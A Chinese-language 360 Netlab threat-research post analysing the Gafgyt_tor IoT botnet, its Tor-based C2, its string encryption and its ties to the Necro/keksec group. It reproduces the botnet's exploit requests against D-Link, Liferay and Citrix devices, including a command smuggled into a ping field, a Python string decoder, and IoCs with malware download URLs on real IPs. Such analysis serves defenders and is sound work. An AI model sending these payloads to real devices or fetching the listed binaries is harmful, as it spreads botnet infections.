

Necro

# Gafgyt\_tor, Necro作者再次升级“武器库”



jinye

Mar 5, 2021 · 15 min read

## 版权

版权声明: 本文为Netlab原创, 依据[CC BY-SA 4.0](#) 许可证进行授权, 转载请附上出处链接及本声明。

## 概述

自2021年2月15号起, 360Netlab的BotMon系统持续检测到Gafgyt家族的一个新变种, 它使用Tor进行C2通信以隐藏真实C2, 并对样本中的敏感字符串做了加密处理。这是我们首次发现使用Tor机制的Gafgyt变种, 所以将该变种命名为Gafgyt\_tor。进一步分析发现该家族与我们1月份公开的[Necro](#)家族有紧密联系, 背后为同一伙人, 即所谓的keksec团伙[\[1\]](#) [\[2\]](#)。检索历史样本发现该团伙长期运营Linux IoT botnet, 除了Necro和Gafgyt\_tor, 他们还曾运营过Tsunami和其它Gafgyt变种botnet。本文将介绍Gafgyt\_tor, 并对该团伙近期运营的其它botnet做一梳理。

本文关键点如下:

1. Gafgyt\_tor使用Tor来隐藏C2通信, 可内置100多个Tor代理, 并且新样本在持续更新代理列表。
2. Gafgyt\_tor跟keksec团伙之前分发的Gafgyt样本同源, 核心功能依然是DDoS攻击和扫描。
3. keksec团伙会在不同家族间复用代码, 可以通过2进制特征进行关联。

- 4. 除了代码，keksec团伙还会长期复用他们拥有的一批IP地址。

## 样本分析

### 传播

目前发现的Gafgyt\_tor botnet主要通过Telnet弱口令和以下三个漏洞进行传播。

- D-Link RCE(CVE-2019-16920)

```
POST /apply_sec.cgi HTTP/1.1
Host: %s:%d
User-Agent: kpin
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close
Referer: http://%s:%d/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1

html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0acd%%20%%2F
```

- Liferay Portal RCE

```
POST /api/jsonws/expandocolumn/update-column HTTP/1.1
Host: %s:%d
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */
User-Agent: python-requests/2.25.0
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
Authorization: Basic dGVzdEBsaWZlcxF5LmNvbTp0ZXN0

%2BdefaultData=com.mchange.v2.c3p0.WrapperConnectionPoolDataSource&defaultData.user0\
```

- Citrix CVE-2019-19781

```
POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: %s:%d
```

```
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
NSC_USER: ../../../../../../netscaler/portal/templates/fliawznxz
NSC_NONCE: 12
Content-Length: %d
Content-Type: application/x-www-form-urlencoded
```

```
url=127.0.0.1&title=%5B%25+template.new%28%7B%27BLOCK%27%3D%27print+readpipe%
```

## 加密

Gafgyt\_tor集成了一个替换加密算法，用于加密C2和敏感字串以对抗检测和静态分析。敏感字符串包括指令、IPC路径名、DDoS相关的攻击字串等。

下面是密文和明文C2对比：

```
#密文
'"?>K!tF>iOrZ:ww_uBw3Bw'

#明文
'wvp3te7pkfczmnnl.onion'
```

目前我们检测到的Gafgyt\_tor变种C2都是 wvp3te7pkfczmnnl.onion。

一些敏感字串密解密结果如下：

```
# 指令相关字串
~-6mvgmv      -      LDSERVER
1-|          -      UDP
cD|          -      TCP
ej~-        -      HOLD
51,U        -      JUNK
c~6         -      TLS
6c-         -      STD
-,6          -      DNS
6D7,,mv     -      SCANNER
j,          -      ON
jdd         -      OFF
jge         -      OVH
.~7DU,1v6m   -      BLACKNURSE

# 攻击选项相关字串
7~~        -      ALL
```

```
6p,          -          SYN
v6c          -          RST
dx,          -          FIN
7DU         -          ACK
|6e          -          PSH
```

```
# 扫描相关字串
aDbwwtr3bw - WChnecihn
aQuq        - W.1
aEcc        - WxTT
74tw!       - Agent
1;t=        - User
```

```
# misc
|x,<      - PING
=ru_Brf_   - rc.local
```

下面是我们依据逆向结果编写的python解密代码：

```
def decode(encoded, encodes):
    idx = 0
    decodes = b'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. '
    decoded = bytearray()

    while (idx < len(encoded)):
        for table_idx in range(0, 64):
            if encoded[idx] == encodes[table_idx]:
                decoded.append(decodes[table_idx])
        idx += 1

    print(decoded)

encodes = b'%q*KC)&F98fsr2to4b3yi_:wB>z=;!k?"EAZ7.D-md<ex5U~h,j |$v6c1ga+p@un'
encoded_cc = b'"?>K!tF>i0rZ:ww_uBw3Bw'
decode(encoded_cc, encodes)
```

## 通信

相比其它Gafgyt变种， Gafgyt\_tor最大的变化是C2通信基于Tor，这提高了检测和阻断难度。基于Tor的C2通信机制在我们以往分析过的其它家族([Matryosh leethozer moobot](#))中曾见到过，但在Gafgyt家族中这是首次碰到。

- 代码变化

跟其它版本相比，加入Tor代理功能的Gafgyt\_tor的main函数代码结构变化非常大，如下图所示。

main 函数对比图

原来负责建立C2连接的initConnection()函数不见了，取而代之的是一大段负责建立Tor连接的代码。新加入的Tor相关函数如下：

Tor相关函数

其中，`tor_socket_init` 负责初始化代理节点列表，每个节点包含ip地址和端口。

初始化所有Tor节点

我们分析发现每个样本集成的代理节点数在100+，最多的高达173个。

初始化好代理列表后，样本会通过 `tor_retrieve_addr` 和 `tor_retrieve_port` 从列表中随机选择一个节点开启Tor通信。

随机选择一个Tor节点

与Tor代理建立连接后，Gafgyt\_tor就开始通过暗网请求 `wvp3te7pkfczmnnl.onion` 等待指令。在我们分析过的样本中这个C2地址一直没变，但是通信端口在持续变化。

- 指令

Gafgyt\_tor的核心功能依然是DDoS攻击和扫描，所以基本沿用了常见的Gafgyt指令，但增加了一个名为 `LDSEVER` 的指令。C2可以通过该指令指定Gafgyt\_tor的

exploit中所用到的下载服务器，如下图所示。

Exploit payload

该指令意味着C2可以动态切换下载服务器，在老的下载服务器被封后可以快速切换到新的下载服务器继续传播。

## 其它

Gafgyt\_tor除了对通信功能进行改造以外还使用了一些其它不常见的编码技巧。

- 单例模式

使用Unix域套接字（一种IPC机制）实现单例模式，这种IPC机制需要指定一个路径名，这个路径名也被加密了。如下图所示的 `k4=f2t` 解密后为 `upgrade`。

单例模式代码

- 函数名混淆

我们收集到的Gafgyt\_tor样本都没被strip过，所以样本中保存了完整的符号信息，大部分样本都会使用一个名为ak47Scan的函数进行扫描和传播。在2月24号捕获的样本中我们发现这个函数名被混淆成了随机字符串，可以推测样本正处于积极开发阶段，作者正在逐步加强Gafgyt\_tor对抗分析和查杀的能力。

ak47Scan 函数混淆前后对比

## 样本溯源

在分析Gafgyt\_tor的IoC时，我们注意到有一个download server IP 45.145.185.83被今年1月初出现的Necro botnet使用过：

gxbrowser.net是Necro的3个C2之一，上图显示它曾多次解析到Gafgyt\_tor的这个download server IP。

进一步的分析表明，该IP和另一个Necro C2 IP 193.239.147.224还曾在2月初被分其它版本的Gafgyt和Tsunami botnet用作C2，而这2个botnet又明显的跟Gafgyt\_tor共享了代码：

1. 都有名为decode的解密函数，代码结构完全相同。
2. 都有名为ak47scan和ak47telscan的扫描函数。

它们的解密函数decode()只是码表有差别：

```
# gafgyt样本中的码表
' %q*KC)&F98fsr2to4b3yi_=wB>z=;!k?"EAZ7.D-md<ex5U~h,j|$v6c1ga+p@un0'

# tsunami样本中的码表
'xm@_;w,B-Z*j?nvE|sq1o$3"7zKC<F)utAr.p%=>4ihgfe6cba~&5Dk2d!8+9Uy:0'
```

下图是它们的ak47scan()函数对比，能看到功能和结构其实是类似的，但运行方式和扫描的端口有变化。

#### ak47scan 函数历史版本对比

依据上述的decode()和ak47scan()函数2进制特征，我们在样本库中发现了更多的这类Tsunami和Gafgyt样本，它们特点如下：

1. Tsunami样本在2020年8月份中旬出现，活跃时间较短。
2. Gafgyt样本从2020年9月份到12月份一直在断断续续的传播。
3. 从2月初到中旬，先是Tsunami样本恢复传播，然后是Gafgyt，接下来就是Gafgyt\_tor。

4. 目前传播的Gafgyt\_tor变种和之前捕获的Gafgyt样本存在很多相似之处，代码明显同源。
5. 这些变种botnet频繁复用download server和C2 IP。

能看出今年1月份是空窗期，我们猜测是因为作者将精力放在了Necro上，因为那段时间刚好是Necro活跃的时间。在2进制特征上，尽管因为Necro使用Python编写而跟Gafgyt\_tor没有相似之处，但传播手法上却有一些共同点：

1. 都在短时间内更换了不同的exploits，估计是为了提高传播效果。
2. 都采用了“边开发边分发”的方式不断完善botnet功能，导致短期内有大量不同的样本被分发。

综合上述分析，我们认为Gafgyt\_tor和Necro背后为同一伙人，他们拥有一批固定的IP地址和多个botnet的源代码，并且有持续开发能力。在实际运营中，他们会组建不同家族的botnet，但会复用IP地址这类基础设施，比如上面提到的IP 45.145.185.83地址从去年底以来不同功能的timeline大概如下图所示。

45.145.185.83 timeline

考虑到业界已有2篇报告都认为Necro/Freakout背后存在1个针对IOT设备的长期活跃的botnet团伙，结合我们自己的证据，我们同意他们的观点。为了保持一致，这里也称之为keksec团伙，下面是一些关于该团伙的结论：

1. 他们起码掌握了Necro、Gafgyt和Tsunami的源代码，并有能力进行持续的开发。
2. 他们会持续升级手中的botnet并轮流使用。
3. 他们拥有一批IP地址资源，并在不同的botnet中复用。
4. 该团伙会紧跟IoT方面的n-day漏洞并第一时间用来组建自己的botnet。

下面是从去年8月份到现在我们检测到的该团伙运营的Linux IoT botnet家族 timeline图。

截至文章发稿时Gafgyt\_tor botnet仍在传播中，依据我们对该团伙历史botnet的观察，预计Gafgyt\_tor仍会持续活跃一段时间，并且不排除后续他们会添加新的exploits的可能。我们对该变种以及keksec团伙的行为将继续保持关注，有最新的动向将及时公开。

## loC

- MD5

```
# tsunami  
3ab32e92917070942135f5c5a545127d
```

```
# gafgyt  
f1d6fb0b4e6c6176e7e89f1d1784d14
```

```
# gafgyt_tor  
eb77fa43bb857e68dd1f7fab04ed0de4  
dce3d16ea9672efe528f74949403dc93  
bfaa01127e03a119d74bdb4cb0f557ec  
a6bdf72b8011be1edc69c9df90b5e0f2  
5c1153608be582c28e3287522d76c02f  
54e2687070de214973bcd3bc975049b5  
b40d8a44b011b79178180a657b052527  
1cc68eb2d9713925d692194bd0523783  
94a587198b464fc4f73a29c8d8d6e420  
2b2940d168a60990377fea8b6158ba22  
56439912093d9c1bf08e34d743961763  
2d6917fe413163a7be7936a0609a0c2d  
8cd99b32ec514f348f4273a814f97e79  
1c966d79319e68ccc66f1a2231040adb  
47275afdb412321610c08576890093d7  
3c5758723980e6b9315ac6e6c32e261d  
980d4d0ac9335ae1db6938e8aeb3e757  
513bc0091dfa208249bd1e6a66d9d79e  
8e551c76a6b17299da795c2b69bb6805  
61b93c03cb5af31b82c11d0c86f82be1  
69cab222e42c7177655f490d849e18c5  
7cbdd215e7f1e17fc589de2df3f09ac9  
6b631fed1416c2cd16ca01738fdfe61a  
90a716280fe1baee0f056a79c3aa724d  
3b4f844c7dd870e8b8c1d5a397a29514  
853dc777c5959db7056f64b34e938ba5  
3eccab18fa690bbfdb6e10348bc40b02  
e78e04aad0915f2febcb19ef6fffc4fe  
b99115a6ea41d85dea5c96d799e65353
```

4b95dfc5dc523f29eebf7d50e98187c2  
4c271f8068bc64686b241eb002e15459  
843a7fec9a8e2398a69dd7dfc49afdd2  
7122bcd084d2d0e721ec7c01cf2a6a57  
10f6b09f88e0cf589d69a764ff4f455b  
f91083e19eed003ac400c1e94eba395e

- C2

wvp3te7pkfczmnnl.onion

- Download URL

<http://45.153.203.124/bins/AJhkewbfwefWEFx86>  
<http://45.153.203.124/bins/AJhkewbfwefWEFsh4>  
<http://45.153.203.124/bins/AJhkewbfwefWEFmips>

<http://45.153.203.124/S1eJ3/lPxdChtp3zx86>  
<http://45.153.203.124/S1eJ3/lPxdChtp3zsh4>  
<http://45.153.203.124/S1eJ3/lPxdChtp3zppc-440fp>  
<http://45.153.203.124/S1eJ3/lPxdChtp3zmpsl>  
<http://45.153.203.124/S1eJ3/lPxdChtp3zmips>  
<http://45.153.203.124/S1eJ3/lPxdChtp3zarm7>  
<http://45.153.203.124/S1eJ3/lPxdChtp3zarm>

<http://45.145.185.83/bins/AJhkewbfwefWEFx86>  
<http://45.145.185.83/bins/AJhkewbfwefWEFspc>  
<http://45.145.185.83/bins/AJhkewbfwefWEFsh4>  
<http://45.145.185.83/bins/AJhkewbfwefWEFppc>  
<http://45.145.185.83/bins/AJhkewbfwefWEFmips>  
<http://45.145.185.83/bins/AJhkewbfwefWEFi586>  
<http://45.145.185.83/bins/AJhkewbfwefWEFarm7>  
<http://45.145.185.83/bins/AJhkewbfwefWEFarm>

<http://45.145.185.83/S1eJ3/lPxdChtp3zsh4>  
<http://45.145.185.83/S1eJ3/lPxdChtp3zmpsl>  
<http://45.145.185.83/S1eJ3/lPxdChtp3zmips>  
<http://45.145.185.83/S1eJ3/lPxdChtp3zi686>  
<http://45.145.185.83/S1eJ3/lPxdChtp3zbsd>  
<http://45.145.185.83/S1eJ3/lPxdChtp3zarm7>  
<http://45.145.185.83/S1eJ3/lPxdChtp3zarm64>  
<http://45.145.185.83/S1eJ3/lPxdChtp3zarm>

<http://45.145.185.83/S1eJ3/I0beENwjx86>  
<http://45.145.185.83/S1eJ3/I0beENwjmips>  
<http://45.145.185.83/S1eJ3/I0beENwjarm5>

<http://45.145.185.83/S1eJ3/I0beENwjarm4>

<http://45.145.185.83/S1eJ3/I0beENwjarm>

- Tor Proxy

103.125.218.111

103.125.218.111

103.82.219.42

104.155.207.91

104.224.179.229

107.20.204.32

111.90.159.138

116.202.107.151

116.203.210.124

116.203.210.124

116.203.210.124

116.203.210.124

116.203.210.124

119.28.149.37

128.199.45.26

130.193.56.117

134.122.4.130

134.122.4.130

134.122.59.236

134.122.59.236

134.122.59.236

134.209.230.13

134.209.249.97

135.181.137.237

138.68.6.227

139.162.149.58

139.162.32.82

139.162.42.124

139.99.239.154

142.47.219.133

143.110.230.187

145.239.83.129

146.59.156.72

146.59.156.76

146.59.156.77

146.66.180.176

148.251.177.144

157.230.27.96

157.230.98.211

157.230.98.77

158.174.108.130

158.174.108.130

158.174.108.130

158.174.108.130

158.174.108.130

158.174.108.130

158.174.108.130  
158.247.211.132  
159.65.69.186  
159.69.203.65  
159.69.203.65  
159.89.19.9  
161.35.84.202  
165.22.194.250  
165.22.94.245  
167.172.123.221  
167.172.173.3  
167.172.177.33  
167.172.178.215  
167.172.179.199  
167.172.180.219  
167.172.190.42  
167.233.6.47  
167.71.236.109  
168.119.37.152  
168.119.37.152  
168.119.37.152  
168.119.37.152  
168.119.61.251  
172.104.240.74  
172.104.4.144  
176.37.245.132  
178.62.215.4  
18.191.18.101  
18.229.49.115  
185.105.237.253  
185.106.121.176  
185.106.122.10  
185.128.139.56  
185.180.223.198  
185.18.215.170  
185.18.215.178  
185.212.128.115  
185.212.128.115  
185.212.128.115  
185.212.128.115  
185.212.128.115  
185.217.1.30  
188.127.231.152  
188.165.233.121  
188.166.17.35  
188.166.34.137  
188.166.79.209  
188.166.79.209  
188.166.80.74  
188.166.82.232  
188.166.82.232

188.227.224.110  
188.68.52.220  
192.46.209.98  
192.99.169.229  
193.123.35.48  
193.187.173.33  
195.123.222.9  
195.93.173.53  
197.156.89.19  
198.27.82.186  
198.74.54.182  
199.247.4.110  
201.40.122.152  
20.52.130.140  
20.52.130.140  
20.52.130.140  
20.52.147.137  
20.52.37.89  
20.52.37.89  
206.81.17.232  
206.81.27.29  
212.71.253.168  
212.8.244.112  
217.12.201.190  
217.12.201.190  
217.12.201.190  
217.144.173.78  
217.170.127.226  
217.61.98.33  
34.239.11.167  
35.189.88.51  
35.192.111.58  
35.192.111.58  
37.200.66.166  
3.91.139.103  
45.33.45.209  
45.33.79.19  
45.33.82.126  
45.79.207.110  
45.81.225.67  
45.81.225.67  
45.81.226.8  
45.81.226.8  
45.81.226.8  
45.92.94.83  
46.101.156.38  
46.101.159.138  
47.90.1.153  
49.147.80.102  
50.116.61.125  
5.100.80.141  
51.11.240.222  
51.11.240.222

51.116.185.181  
51.116.185.181  
51.195.201.47  
51.195.201.50  
5.167.53.191  
51.68.191.153  
51.75.161.21  
51.83.185.71  
51.83.186.137  
51.89.165.233  
52.47.87.178  
5.63.13.54  
66.42.34.110  
67.205.130.65  
68.183.67.182  
68.183.82.50  
79.124.62.26  
80.251.220.190  
8.210.163.246  
8.210.163.246  
87.236.215.248  
88.198.167.20  
88.198.167.20  
91.236.251.131  
94.23.40.220  
95.179.163.1  
95.179.163.1  
95.179.163.1  
95.179.163.1  
95.179.164.28  
95.179.164.28  
95.179.164.28  
95.188.93.135  
95.216.123.39  
95.216.137.149  
95.217.27.5

## 参考

<https://blog.netlab.360.com/necro/>

<https://mp.weixin.qq.com/s/D3oyOqeicKnHmP9Kad-pmg>

<https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/>



Start the discussion...

LOG IN WITH

OR SIGN UP WITH DISQUS

Name



Share

Best Newest Oldest

Be the first to comment.

[Subscribe](#)[Privacy](#)[Do Not Sell My Data](#)

— 360 Netlab Blog - Network Security Research Lab at 360 —

## Necro



Necro upgrades again, using Tor + dynamic domain DGA and aiming at both Windows & Linux

Gafgtyt\_tor and Necro are on the move again

Necro is going to version 3 and using PyInstaller and DGA

QNAP

## QNAP NAS在野漏洞攻击事件2

背景介绍 2021年3月2号，360网络安全研究院未知威胁检测系统监测到攻击者正在使用台湾QNAP Systems, Inc.公司的网络存储设备诊断程序(Helperdesk)的未授权远程命令执行漏洞(CVE-2020-2506 & CVE-2020-2507)，获取到系统root权限并进行恶意挖矿攻击。我们将此次挖矿程序命名为UnityMiner，值得注意的是攻击者专门针对QNAP NAS设...



Mar 5,

2021

6 min

read

Necro

## Gafgtyt\_tor and Necro are on the move again

Overview Since February 15, 2021, 360Netlab's BotMon system has continuously detected a new variant of the Gafgtyt family, which uses Tor for C2 communication to hide the real C2 and encrypts sensitive strings in the samples. This is the first time we found a Gafgtyt variant using the

[See all 4 posts →](#)



• Mar 4, 2021 • 12 min read